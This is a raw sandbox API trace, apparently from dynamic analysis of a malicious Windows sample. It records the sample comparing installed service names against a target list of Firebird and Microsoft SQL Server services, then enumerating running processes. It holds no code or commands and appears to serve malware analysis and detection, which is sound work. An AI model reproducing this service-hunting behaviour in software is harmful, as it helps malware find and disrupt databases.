	[0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0170.655] lstrlenW (lpString="LanmanServer") returned 12
	[0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0170.656] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0170.656] lstrlenW (lpString="lfsvc") returned 5
	[0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0170.656] lstrlenW (lpString="lmhosts") returned 7
	[0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0170.656] lstrlenW (lpString="LSM") returned 3
	[0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0170.656] lstrlenW (lpString="MpsSvc") returned 6
	[0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0170.657] lstrlenW (lpString="NcbService") returned 10
	[0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0170.657] lstrlenW (lpString="netprofm") returned 8
	[0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0170.657] lstrlenW (lpString="NgcSvc") returned 6
	[0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0170.657] lstrlenW (lpString="NlaSvc") returned 6
	[0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0170.657] lstrlenW (lpString="nsi") returned 3
	[0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0170.658] lstrlenW (lpString="PcaSvc") returned 6
	[0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0170.658] lstrlenW (lpString="PlugPlay") returned 8
	[0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0170.658] lstrlenW (lpString="Power") returned 5
	[0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0170.658] lstrlenW (lpString="ProfSvc") returned 7
	[0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0170.658] lstrlenW (lpString="RpcEptMapper") returned 12
	[0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0170.658] lstrlenW (lpString="RpcSs") returned 5
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0170.659] lstrlenW (lpString="SamSs") returned 5
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0170.659] lstrlenW (lpString="Schedule") returned 8
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0170.659] lstrlenW (lpString="SecurityHealthService") returned 21
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0170.659] lstrlenW (lpString="SENS") returned 4
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0170.659] lstrlenW (lpString="ShellHWDetection") returned 16
	[0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0170.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0170.660] lstrlenW (lpString="Spooler") returned 7
	[0170.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0170.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0170.660] lstrlenW (lpString="StateRepository") returned 15
	[0170.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0170.660] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0170.660] lstrlenW (lpString="SysMain") returned 7
	[0170.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0170.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0170.660] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0170.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0170.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0170.660] lstrlenW (lpString="Themes") returned 6
	[0170.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0170.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0170.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0170.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0170.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0170.661] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0170.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.661] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0170.661] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0170.661] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0170.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538
	[0171.419] Process32FirstW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0171.420] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0171.420] lstrlenW (lpString="System") returned 6
	[0171.420] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0171.421] lstrlenW (lpString="smss.exe") returned 8
	[0171.421] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.421] lstrlenW (lpString="csrss.exe") returned 9
	[0171.421] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0171.422] lstrlenW (lpString="wininit.exe") returned 11
	[0171.422] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.422] lstrlenW (lpString="csrss.exe") returned 9
	[0171.422] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0171.423] lstrlenW (lpString="winlogon.exe") returned 12
	[0171.423] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0171.423] lstrlenW (lpString="services.exe") returned 12
	[0171.423] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0171.424] lstrlenW (lpString="lsass.exe") returned 9
	[0171.424] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.425] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.425] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.425] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.425] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.426] lstrlenW (lpString="svchost.exe") returned 11
	[0171.426] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.426] lstrlenW (lpString="svchost.exe") returned 11
	[0171.426] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0171.427] lstrlenW (lpString="dwm.exe") returned 7
	[0171.427] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.427] lstrlenW (lpString="svchost.exe") returned 11
	[0171.427] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.428] lstrlenW (lpString="svchost.exe") returned 11
	[0171.428] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.428] lstrlenW (lpString="svchost.exe") returned 11
	[0171.428] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.429] lstrlenW (lpString="svchost.exe") returned 11
	[0171.429] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.429] lstrlenW (lpString="svchost.exe") returned 11
	[0171.429] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.430] lstrlenW (lpString="svchost.exe") returned 11
	[0171.430] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.430] lstrlenW (lpString="svchost.exe") returned 11
	[0171.430] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.431] lstrlenW (lpString="svchost.exe") returned 11
	[0171.431] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.431] lstrlenW (lpString="svchost.exe") returned 11
	[0171.431] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.431] lstrlenW (lpString="svchost.exe") returned 11
	[0171.432] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0171.432] lstrlenW (lpString="spoolsv.exe") returned 11
	[0171.432] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.432] lstrlenW (lpString="svchost.exe") returned 11
	[0171.432] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0171.433] lstrlenW (lpString="audiodg.exe") returned 11
	[0171.433] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0171.433] lstrlenW (lpString="sihost.exe") returned 10
	[0171.433] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.434] lstrlenW (lpString="svchost.exe") returned 11
	[0171.434] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0171.434] lstrlenW (lpString="taskhostw.exe") returned 13
	[0171.434] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0171.435] lstrlenW (lpString="msoia.exe") returned 9
	[0171.435] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0171.435] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0171.435] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0171.436] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0171.436] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0171.436] lstrlenW (lpString="Memory Compression") returned 18
